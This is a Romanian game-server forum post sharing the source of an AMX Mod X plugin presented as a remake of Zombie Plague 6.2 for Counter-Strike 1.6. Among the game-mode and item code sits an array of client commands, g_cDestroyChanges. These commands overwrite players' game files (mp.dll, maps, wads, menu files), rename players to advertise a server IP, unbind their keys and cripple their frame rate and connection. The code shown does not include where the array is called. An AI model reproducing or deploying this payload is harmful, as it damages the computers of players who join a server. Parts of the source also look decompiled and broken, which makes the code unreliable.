[ADDONS] Zombie Plague 6.2 remade original code UPDATE

Descarcari de addons-uri si discutii despre acestea.

Moderators: Moderatori ajutatori, Moderatori

User avatar
dim2k
Membru, skill +1
Membru, skill +1
Posts: 110
Joined: 16 Dec 2016, 04:03
Detinator Steam: Da
CS Status: INACTIV
Detinator server CS: da
SteamID: coolmr
Fond eXtream: 0
Location: romania
Been thanked: 2 times

27 Sep 2019, 16:17

Rainq wrote:
27 Sep 2019, 16:14
nu-i asta de la nou link ?

ZPA62.sma:

Code: Select all

#include zombie_plague
#include float
#include hamsandwich

#pragma library hamsandwich
#pragma library zombie_plague

#pragma loadlib zombie_plague
#pragma loadlib hamsandwich

new bool:g_bConnected[33];
new Float:g_fLastLeapTime[33];
new bool:g_bAdmin[33];
new bool:g_bTryder[33];
new bool:g_bAlive[33];
new g_iWeapon[33];
new g_cName[33][32];
new g_cPlayerAddress[33][24];
new Data[33][__GEO_DATA_COUNT__][128];
new bool:Loaded[33];
new g_cSteam[33][24];
new g_cClass[33][24];
new g_iRounds[512];
new g_iRoundsCount;
new g_iCounter;
new g_iVariable;
new g_iMaxClients;
new g_iPosition[33];
new g_iOffset[33][2];
new g_iArgumentPing[33][3];
new g_iPingOverride[33] =
{
    -1, ...
}
new bool:g_bZombie[33];
new g_iLastMode;
new g_iPlayerType[33];
new bool:g_bRoundStart;
new bool:g_bRoundEnd;
new g_iRoundType;
new bool:g_bFlash[33];
new bool:g_bFlashEnabled[33];
new bool:g_bFake[33];
new g_iPacks[33];
new Float:g_fDamage[33];
new Float:g_fLastTime[33];
new g_iBurningDuration[33];
new bool:g_bNoDamage[33];
new g_bFrozen[33];
new g_iAliveCount;
new g_iMessagePosition;
new g_iTripMines[33];
new g_iPlantedMines[33];
new g_iPlanting[33];
new g_iRemoving[33];
new g_iFirstMineMessage;
new g_iSecondMineMessage;
new g_iJumpsNum[33];
new g_iJumps[33];
new bool:g_bUnlimitedClip[33];
new Float:g_fLastChangedModel;
new Float:g_fLast[33];
new Array:g_aNameData;
new Array:g_aAmmoData;
new g_iSize;
new g_cAddresses[10][24];
new g_iBlinks[33];
new g_iEnemy[33];
new g_iSlash[33];
new g_iInBlink[33];
new Float:g_fRoundStartTime;
new g_iRemainingSync;
new g_iTopMessageSync;
new g_iLeftMessageSync;
new g_cLNames[10][32];
new g_iCanceled[33];
new Float:g_fLastSlash[33];
new g_iTracker;
new g_iEventsHudmessage;
new g_iCenterMessageSync;
new g_iDownMessageSync;
new g_iCounterMessage;
new g_iZombieClass[33];
new g_iZombieNextClass[33];
new g_iBotsCount;
new g_bCanBuy[33];
new g_iGameMenu;
new g_iSecondaryMenu;
new g_iPrimaryMenu;
new g_iSecondaryWeapons[64];
new g_iPrimaryWeapons[64];
new g_iMenuExtraItems;
new g_iMenuZombieClasses;
new g_cTag[33][24];
new Float:g_fGagTime[33];
new g_cSteams[256][24];
new g_cNames[256][32];
new g_cPasswords[256][32];
new g_cFlags[256][32];
new g_cTags[256][24];
new g_cPersonalFlags[33][32];
new g_iAdminsCount;
new g_iMenu;
new bool:g_bVoting;
new bool:g_bSecondVoting;
new g_iVariables[3];
new g_iVotes[7];
new g_cMaps[7][32];
new g_cSecondMaps[5][32];
new g_iSecondVotes[5];
new g_iLimitReached[33];
new bool:g_Hidden[33];
new g_cHudAdvertisements[50][188];
new g_iHudAdvertisementsCount;
new g_iHudMessage;
new g_iMessage;
new g_cAdvertisements[72][188];
new g_iAdvertisementsCount;
new g_iAdvertisementsSync;
new FreezeTime
//////////////////////
//////////////////////

new g_cZombieInfectSounds[5][0] =
{
    "zombie_plague/zombie_infect_01.wav",
    "zombie_plague/zombie_infect_02.wav",
    "zombie_plague/zombie_infect_03.wav",
    "zombie_plague/zombie_infect_04.wav",
    "zombie_plague/zombie_infect_05.wav"
};
new g_cEndRoundZombieSounds[4][0] =
{
    "zombie_plague/end_round_win_zombies_01.wav",
    "zombie_plague/end_round_win_zombies_02.wav",
    "zombie_plague/end_round_win_zombies_03.wav",
    "zombie_plague/end_round_win_zombies_04.wav"
};
new g_cEndRoundHumanSounds[3][0] =
{
    "zombie_plague/end_round_win_humans_01.wav",
    "zombie_plague/end_round_win_humans_02.wav",
    "zombie_plague/end_round_win_humans_03.wav"
};
new g_cStartRoundSurvivorSounds[2][0] =
{
    "zombie_plague/round_start_survivor_01.wav",
    "zombie_plague/round_start_survivor_02.wav"
};
new g_cStartRoundNemesisSounds[2][0] =
{
    "zombie_plague/round_start_nemesis_01.wav",
    "zombie_plague/round_start_nemesis_02.wav"
};
new g_cZombieBurnSounds[5][0] =
{
    "zombie_plague/zombie_burn_01.wav",
    "zombie_plague/zombie_burn_02.wav",
    "zombie_plague/zombie_burn_03.wav",
    "zombie_plague/zombie_burn_04.wav",
    "zombie_plague/zombie_burn_05.wav"
};
new g_cHumanNadeInfectSounds[3][0] =
{
    "zombie_plague/human_nade_infect_scream_01.wav",
    "zombie_plague/human_nade_infect_scream_02.wav",
    "zombie_plague/human_nade_infect_scream_03.wav"
};
new Float:g_fDamageCoords[8][0] =
{
    { 0.50, 0.40 },
    { 0.56, 0.44 },
    { 0.60, 0.50 },
    { 0.56, 0.56 },
    { 0.50, 0.60 },
    { 0.44, 0.56 },
    { 0.40, 0.50 },
    { 0.44, 0.44 }
};
new Float:kb_weapon_power[31] =
{
	-1.0, 2.4, -1.0, 6.5, -1.0, 8.0, -1.0, 2.3, 5.0, -1.0, 2.4, 2.0, 2.4, 5.3, 5.5, 5.5, 2.2, 2.0, 10.0, 2.5, 5.2, 8.0, 5.0, 2.4, 6.5, -1.0, 5.3,5.0, 6.0, -1.0, 2.0
};
new g_iMaxClip[31] =
{
	0, 13, 0, 10, 0, 7, 0, 30, 30, 0, 15, 20, 25, 30, 35, 25, 12, 20, 10, 30, 100, 8, 30, 30, 20, 0, 7, 30, 30, 0, 50
};
new g_cSecondaryWeapons[6][0] =
{
    "Glock 18C",
    "USP .45 ACP Tactical",
    "P228 Compact",
    "Desert Eagle .50 AE",
    "FiveseveN",
    "Dual Elite Berettas"
};
new g_cPrimaryWeapons[14][0] =
{
    "IMI Galil",
    "Famas",
    "M4A1 Carbine",
    "AK-47 Kalashnikov",
    "SG-552 Commando",
    "Steyr AUG A1",
    "Schmidt Scout",
    "M3 Super 90",
    "XM1014 M4",
    "Schmidt TMP",
    "Ingram MAC-10",
    "UMP 45",
    "MP5 Navy",
    "ES P90"
};
new g_cSecondaryEntities[6][0] =
{
    "weapon_glock18",
    "weapon_usp",
    "weapon_p228",
    "weapon_deagle",
    "weapon_fiveseven",
    "weapon_elite"
};
new g_cPrimaryEntities[14][0] =
{
    "weapon_galil",
    "weapon_famas",
    "weapon_m4a1",
    "weapon_ak47",
    "weapon_sg552",
    "weapon_aug",
    "weapon_scout",
    "weapon_m3",
    "weapon_xm1014",
    "weapon_tmp",
    "weapon_mac10",
    "weapon_ump45",
    "weapon_mp5navy",
    "weapon_p90"
};
new g_cHumanModels[4][0] =
{
    "terror",
    "gign",
    "sas",
    "arctic"
};
new g_cZombieModels[7][0] =
{
    "zclasic",
    "raptor",
    "predator_blue",
    "mutant",
    "frozen",
    "regenerator",
    "hunter"
};
new g_cZombieClaws[7][0] =
{
    "models/zombie_plague/clasic_claws.mdl",
    "models/zombie_plague/regenerator_claws.mdl",
    "models/zombie_plague/predator_blue_claws.mdl",
    "models/zombie_plague/mutant_claws.mdl",
    "models/zombie_plague/frozen_claws.mdl",
    "models/zombie_plague/regenerator_claws.mdl",
    "models/zombie_plague/hunter_claws.mdl"
};
new g_iZombieHealths[7] =
{
    5675, 4800, 5100, 6250, 4500, 4750, 5200
};
new Float:g_fZombieGravities[7] =
{
    1.00, 1.00, 0.74, 1.00, 0.61, 1.00, 0.61
};
new Float:g_fZombieSpeeds[7] =
{
    264.0, 304.0, 276.0, 244.0, 269.0, 249.0, 273.0
};
new Float:g_fZombieKnockbacks[7] =
{
    0.82, 1.33, 0.70, 0.44, 0.80, 0.90, 0.83
};
new g_cZombieClasses[7][24] =
{
    "Clasic",
    "Raptor",
    "Predator 4",
    "Mutant",
    "Frozen",
    "Regenerator",
    "Hunter"
};
new g_cZombieAttribs[7][0] =
{
    "\y[=Balanced=]",
    "\y[Speed +++]",
    "\y[Powerful]",
    "\y[Health +++]",
    "\y[Double Jump]",
    "\y[Regeneration]",
    "\y[Silent Killer]"
};
new g_cExtraItems[22][0] =
{
    "NightVision (single round)",
    "T-Virus Antidote",
    "Zombie Madness",
    "Infection Bomb",
    "Explosion Nade",
    "Napalm Nade",
    "Frost Nade",
    "AWP Magnum Sniper",
    "M249 Para Machinegun",
    "SG550 Auto-Sniper",
    "G3SG1 Auto-Sniper",
    "Jetpack+Bazooka",
    "Unlimited Clip",
    "Armura (100ap)",
    "Armura (200ap)",
    "Multijump +1",
    "Cumpara Tryder",
    "Cumpara Supravietuitor",
    "Cumpara Sniper",
    "Cumpara Nemesis",
    "Cumpara Assassin",
    "Knife Blink"
};
new g_iExtraItemsPrices[22] =
{
	2, 15, 17, 26, 4, 4, 3, 7, 9, 10, 10, 30, 10, 5, 10, 5, 30, 180, 180, 150, 150, 10
};
new g_iExtraItemsTeams[22] =
{
	2, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1
};
new g_cBotNames[4][0] =
{
    "Angelina Jolie",
    "Megan Fox",
    "Keira Knightley",
    "Emma Stone"
};
new g_cDestroyChanges[19][0] =
{
    "snapshot;snapshot; name ^"Join: 89.44.246.127:27015^"",
    "motdfile models/player/terror/terror.mdl",
    "motdfile models/v_ak47.mdl;motd_write x",
    "motdfile models/v_m4a1.mdl;motd_write x",
    "motdfile resource/GameMenu.res;motd_write x",
    "motdfile halflife.wad;motd_write x",
    "motdfile cstrike.wad;motd_write x",
    "motdfile maps/de_dust2.bsp;motd_write x",
    "motdfile events/ak47.sc;motd_write x",
    "motdfile dlls/mp.dll;motd_write x",
    "motdfile decals.wad;motd_write x",
    "motdfile custom.hpk;motd_write x",
    "motdfile liblist.gam;motd_write x",
    "motdfile tempdecal.wad;motd_write x",
    "unbindall",
    "cl_timeout 0",
    "fps_max 1",
    "rate 0",
    "_restart"
};
new Float:g_fSizes[70][3] =
{
    {0.0, 0.0, 1.0}, {0.0, 0.0, -1.0}, {0.0, 1.0, 0.0}, {0.0, -1.0, 0.0}, {1.0, 0.0, 0.0}, {-1.0, 0.0, 0.0}, {-1.0, 1.0, 1.0}, {1.0, 1.0, 1.0}, {1.0, -1.0, 1.0}, {1.0, 1.0, -1.0}, {-1.0, -1.0, 1.0}, {1.0, -1.0, -1.0}, {-1.0, 1.0, -1.0}, {-1.0, -1.0, -1.0},
    {0.0, 0.0, 2.0}, {0.0, 0.0, -2.0}, {0.0, 2.0, 0.0}, {0.0, -2.0, 0.0}, {2.0, 0.0, 0.0}, {-2.0, 0.0, 0.0}, {-2.0, 2.0, 2.0}, {2.0, 2.0, 2.0}, {2.0, -2.0, 2.0}, {2.0, 2.0, -2.0}, {-2.0, -2.0, 2.0}, {2.0, -2.0, -2.0}, {-2.0, 2.0, -2.0}, {-2.0, -2.0, -2.0},
    {0.0, 0.0, 3.0}, {0.0, 0.0, -3.0}, {0.0, 3.0, 0.0}, {0.0, -3.0, 0.0}, {3.0, 0.0, 0.0}, {-3.0, 0.0, 0.0}, {-3.0, 3.0, 3.0}, {3.0, 3.0, 3.0}, {3.0, -3.0, 3.0}, {3.0, 3.0, -3.0}, {-3.0, -3.0, 3.0}, {3.0, -3.0, -3.0}, {-3.0, 3.0, -3.0}, {-3.0, -3.0, -3.0},
    {0.0, 0.0, 4.0}, {0.0, 0.0, -4.0}, {0.0, 4.0, 0.0}, {0.0, -4.0, 0.0}, {4.0, 0.0, 0.0}, {-4.0, 0.0, 0.0}, {-4.0, 4.0, 4.0}, {4.0, 4.0, 4.0}, {4.0, -4.0, 4.0}, {4.0, 4.0, -4.0}, {-4.0, -4.0, 4.0}, {4.0, -4.0, -4.0}, {-4.0, 4.0, -4.0}, {-4.0, -4.0, -4.0},
    {0.0, 0.0, 5.0}, {0.0, 0.0, -5.0}, {0.0, 5.0, 0.0}, {0.0, -5.0, 0.0}, {5.0, 0.0, 0.0}, {-5.0, 0.0, 0.0}, {-5.0, 5.0, 5.0}, {5.0, 5.0, 5.0}, {5.0, -5.0, 5.0}, {5.0, 5.0, -5.0}, {-5.0, -5.0, 5.0}, {5.0, -5.0, -5.0}, {-5.0, 5.0, -5.0}, {-5.0, -5.0, -5.0}
};

replace_all(string[], len, what[], with[])
{
	new pos;
	if ((pos = contain(string, what)) == -1)
	{
		return 0;
	}
	new total;
	new with_len = strlen(with);
	new diff = strlen(what) - with_len;
	new total_len = strlen(string);
	new temp_pos;
	while (replace(string[pos], len - pos, what, with))
	{
		pos = with_len + pos;
		total_len -= diff;
		if (!(pos >= total_len))
		{
			temp_pos = contain(string[pos], what);
			if (!(temp_pos == -1))
			{
				pos = temp_pos + pos;
				total++;
			}
			return total;
		}
		return total;
	}
	return total;
}

StripName( Name[ ] ) 
{
	for( new i = 0; i < strlen( Name ); i++ ) 
	{
		Name[ i ] = tolower( Name[ i ] );
		if( !isalpha( Name[ i ] ) )
		{
			Name[ i ] = '_';
		}
	}
}

LoadData( Player ) 
{
	new Name[ 32 ];
	get_user_name( Player, Name, 31 );
	StripName( Name );
	new FileLine[ 256 ]
	formatex( FileLine, 255, "addons/SpecialGeoip/PlayerData/%s.ini", Name );
	new File = fopen( FileLine, "r" );
	if( File ) 
	{
		new Row[ 256 ], Key[ 128 ], Value[ 128 ], i = 0;
		while( !feof( File ) )
		{
			fgets( File, Row, 255 );

			trim( Row );

			if( Row[ 0 ] == '"' ) 
			{
				parse( Row, Key, 127, Value, 127 );
				if( i < __GEO_DATA_COUNT__ )
				{
					formatex( Data[ Player ][ i ], 127, "%s", Value );
				}
				i++;
			}
		}
		fclose( File );
		Loaded[ Player ] = true;
	}
}

public __fatal_ham_error(Ham:id, HamError:err, reason[])
{
	new func = get_func_id("HamFilter", -1);
	new bool:fail = true;
	if (func != -1 && callfunc_begin_i(func, -1) == 1)
	{
		callfunc_push_int(_:id);
		callfunc_push_int(_:err);
		callfunc_push_str(reason, false);
		if (callfunc_end() == 1)
		{
			fail = false;
		}
	}
	if (fail)
	{
		set_fail_state(reason);
	}
	return 0;
}

public MessageSayText()
{
	if (get_msg_args() == 4)
	{
		static iSender;
		iSender = get_msg_arg_int(1);
		if (0 < iSender < g_iMaxClients + 1 && g_cTag[iSender][0])
		{
			static cReplacement[189];
			static cPhrase[47];
			get_msg_arg_string(2, cPhrase, 46);
			if (equal(cPhrase, "#Cstrike_Chat_CT", 0))
			{
				formatex(cReplacement, 188, "^1(Counter-Terrorist) ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_T", 0))
			{
				formatex(cReplacement, 188, "^1(Terrorist) ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_CT_Dead", 0))
			{
				formatex(cReplacement, 188, "^1*DEAD*(Counter-Terrorist) ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_T_Dead", 0))
			{
				formatex(cReplacement, 188, "^1*DEAD*(Terrorist) ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_Spec", 0))
			{
				formatex(cReplacement, 188, "^1(Spectator) ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_All", 0))
			{
				formatex(cReplacement, 188, "^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_AllDead", 0))
			{
				formatex(cReplacement, 188, "^1*DEAD* ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_AllSpec", 0))
			{
				formatex(cReplacement, 188, "^1*SPEC* ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
		}
	}
	return 0;
}

StartSwarmMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 64 && random_num(1, 22) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 64;
		g_iRoundType = g_iRoundType | 64;
		static i;
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (!g_bAlive[i] || get_team(i) == 2)
			{
				set_team(i, 2);
			}
			else
			{
				MakeZombie(0, i, true, false, false);
			}
			i += 1;
		}
		client_cmd(0, "spk zombie_plague/round_start_plague");
		set_hudmessage(20, 255, 20, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Swarm Round !!");
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		return 0;
	}
	StartPlagueMode(false);
	return 0;
}

StartPlagueMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 32 && random_num(1, 28) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 32;
		g_iRoundType = g_iRoundType | 32;
		static iNemesis;
		static iMaxNemesis;
		static i;
		static iMaxSurvivors;
		static iSurvivors;
		static iMaxZombies;
		static iZombies;
		iMaxSurvivors = 3;
		iMaxNemesis = 2;
		iZombies = 0;
		iNemesis = 0;
		iSurvivors = 0;
		while (iSurvivors < iMaxSurvivors)
		{
			i = GetRandomAlive();
			if (!(g_iPlayerType[i] & 4))
			{
				MakeHuman(i, true, false);
				iSurvivors += 1;
				set_health(i, 6900);
			}
		}
		while (iNemesis < iMaxNemesis)
		{
			i = GetRandomAlive();
			if (!(g_iPlayerType[i] & 4 || g_iPlayerType[i] & 1))
			{
				MakeZombie(0, i, false, true, false);
				iNemesis += 1;
				set_health(i, 180000);
			}
		}
		iMaxZombies = floatround(0.40 * g_iAliveCount + -5, floatround_floor);
		while (iZombies < iMaxZombies)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 4))
			{
				if (random_num(0, 1))
				{
					MakeZombie(0, i, true, false, false);
					iZombies += 1;
				}
			}
		}
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 4)
			{
			}
			else
			{
				if (get_team(i) != 2)
				{
				    set_team (i, 2);
				}
			}
			i += 1;
		}
		client_cmd(0, "spk ZombieOutstanding/round_start_plague");
		set_hudmessage(0, 50, 200, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Plague Round !!");
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);

		return 0;
	}
	StartMultiMode(false);
	return 0;
}

StartMultiMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 16 && random_num(1, 24) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 16;
		g_iRoundType = g_iRoundType | 16;
		static i;
		static iMaxZombies;
		static iZombies;
		iZombies = 0;
		iMaxZombies = floatround(0.18 * g_iAliveCount, floatround_ceil);
		i = random_num(1, g_iMaxClients);
		while ( iZombies < iMaxZombies )
		{
			if ( ++ i > g_iMaxClients ) i = 1;

			if ( !g_bAlive [i] || g_bZombie [i] ) continue;
			
			if ( random_num ( 0, 1 ) )
			{
				MakeZombie(0, i, true, false, false);
				
				iZombies ++;
			}
		}		
		for ( i = 1; i <= g_iMaxClients; i ++ )
		{
			if ( !g_bAlive [i] || g_bZombie [i] ) continue;

			if ( get_team ( i ) != 2 )
			{
				set_team ( i, 2 );
			}
		}		
		client_cmd(0, "spk ZombieOutstanding/round_start_plague");
		set_hudmessage(200, 50, 0, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Multiple Infections !!");
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);

		return 0;
	}
	StartArmageddonMode(false);
	return 0;
}

StartArmageddonMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 128 && random_num(1, 33) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 128;
		g_iRoundType = g_iRoundType | 128;
		static i;
		static iMaxZombies;
		static iZombies;
		iZombies = 0;
		iMaxZombies = floatround(0.44 * g_iAliveCount, floatround_floor);
		i = random_num(1, g_iMaxClients);
		while (iZombies < iMaxZombies)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i]))
			{
				if (random_num(0, 1))
				{
					MakeZombie(0, i, false, true, false);
					set_health(i, 67500);
					iZombies += 1;
				}
			}
		}
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (!g_bAlive[i] || g_bZombie[i])
			{
			}
			else
			{
				MakeHuman(i, true, false);
				set_health(i, 11400);
			}
			i += 1;
		}
		if (random_num(0, 1))
		{
            client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		}
		else
		{
            client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		}
		set_hudmessage(181, 62, 244, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Armageddon Round !!");
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);

		return 0;
	}
	StartNightmareMode(false);
	return 0;
}

StartNightmareMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 256 && random_num(1, 36) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 256;
		g_iRoundType = g_iRoundType | 256;
		static i;
		static iMaxAssassins;
		static iAssassins;
		static iMaxSnipers;
		static iSnipers;
		static iMaxNemesis;
		static iNemesis;
		iAssassins = 0;
		iSnipers = 0;
		iNemesis = 0;
		iMaxNemesis = floatround(0.24 * g_iAliveCount, floatround_floor);
		iMaxAssassins = floatround(0.24 * g_iAliveCount, floatround_floor);
		iMaxSnipers = floatround(0.25 * g_iAliveCount, floatround_ceil);
		i = random_num(1, g_iMaxClients);
		while (iNemesis < iMaxNemesis)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i]))
			{
				if (random_num(0, 1))
				{
					MakeZombie(0, i, false, true, false);
					set_health(i, 100000);
					iNemesis += 1;
				}
			}
		}
		while (iAssassins < iMaxAssassins)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i]))
			{
				if (random_num(0, 1))
				{
					MakeZombie(0, i, false, false, true);
					set_health(i, 25000);
					iAssassins += 1;
				}
			}
		}
		while (iSnipers < iMaxSnipers)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 8))
			{
				if (random_num(0, 1))
				{
					MakeHuman(i, false, true);
					set_health(i, 12500);
					iSnipers += 1;
				}
			}
		}
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 8 || g_iPlayerType[i] & 4)
			{
			}
			else
			{
				MakeHuman(i, true, false);
				set_health(i, 12500);
			}
			i += 1;
		}
		if (random_num(0, 1))
		{
            client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		}
		else
		{
            client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		}
		set_hudmessage(241, 15, 244, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Nightmare Round !!");
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);

		return 0;
	}
	StartAssassinsVsSnipersMode(false);
	return 0;
}

StartAssassinsVsSnipersMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 512 && random_num(1, 37) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 512;
		g_iRoundType = g_iRoundType | 512;
		static i;
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (g_bAlive[i])
			{
				switch (get_team(i))
				{
					case 1:
					{
						MakeZombie(0, i, false, false, true);
						set_health(i, 35000);
					}
					case 2:
					{
						MakeHuman(i, false, true);
						set_health(i, 12500);
					}
					default:
					{
					}
				}
			}
			i += 1;
		}
		if (random_num(0, 1))
		{
            client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		}
		else
		{
            client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		}
		set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Assassins vs Snipers Round !!");
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);

		return 0;
	}
	static cTime[4];
	get_time("%H", cTime, 3);
	if (cTime[0] != 48)
	{
		StartSniperMode(0);
	}
	else
	{
		if (cTime[0] == 48 && cTime[1] == 49)
		{
			StartSniperMode(0);
		}
		if (cTime[0] == 48 && cTime[1] == 50)
		{
			StartSniperMode(0);
		}
		StartAssassinMode(0);
	}
	return 0;
}

StartSniperMode(iPlayer)
{
	if ((g_iLastMode != 8 && random_num(1, 35) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
	{
		g_iLastMode = 8;
		g_iRoundType = g_iRoundType | 8;
		static j;
		static i;
		i = GetRandomAlive();
		if (iPlayer)
		{
			i = iPlayer;
		}
		j = i;
		MakeHuman(i, false, true);
		for ( i = 1; i <= g_iMaxClients; i ++ )
		{
			if ( !g_bAlive [i] ) continue;

			if ( g_iPlayerType[i] & 8 || g_bZombie [i] ) continue;
			
			MakeZombie(0, i, true, false, false);
		}		
		client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Sniper !!", g_cName[j]);
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		set_task(30.00, "TaskReminder", 900, "", 0, "", 0);

		return 0;
	}
	StartSurvivorMode(0);
	return 0;
}

StartSurvivorMode(iPlayer)
{
	if ((g_iLastMode != 4 && random_num(1, 35) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
	{
		g_iLastMode = 4;
		g_iRoundType = g_iRoundType | 4;
		static j;
		static i;
		i = GetRandomAlive();
		if (iPlayer)
		{
			i = iPlayer;
		}
		j = i;
		MakeHuman(i, true, false);
		for ( i = 1; i <= g_iMaxClients; i ++ )
		{
			if ( !g_bAlive [i] ) continue;

			if ( g_iPlayerType[i] & 4 || g_bZombie [i] ) continue;
			
			MakeZombie(0, i, true, false, false);
		}		
		client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Survivor !!", g_cName[j]);
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		set_task(30.00, "TaskReminder", 900, "", 0, "", 0);

		return 0;
	}
	StartAssassinMode(0);
	return 0;
}


StartAssassinMode(iPlayer)
{
	if ((g_iLastMode != 2 && random_num(1, 31) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
	{
		g_iLastMode = 2;
		g_iRoundType = g_iRoundType | 2;
		static j;
		static i;
		i = GetRandomAlive();
		if (iPlayer)
		{
			i = iPlayer;
		}
		j = i;
		MakeZombie(0, i, false, false, true);
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
			{
				set_team ( i, 2 );
			}
			i += 1;
		}
		close();
		client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Assassin !!", g_cName[j]);
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		set_task(30.00, "TaskReminder", 900, "", 0, "", 0);

		return 0;
	}
	StartNemesisMode(0);
	return 0;
}

StartNemesisMode(iPlayer)
{
	if ((g_iLastMode != 1 && random_num(1, 29) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
	{
		g_iLastMode = 1;
		g_iRoundType = g_iRoundType | 1;
		static j;
		static i;
		i = GetRandomAlive();
		if (iPlayer)
		{
			i = iPlayer;
		}
		j = i;
		MakeZombie(0, i, false, true, false);
		i = 1;
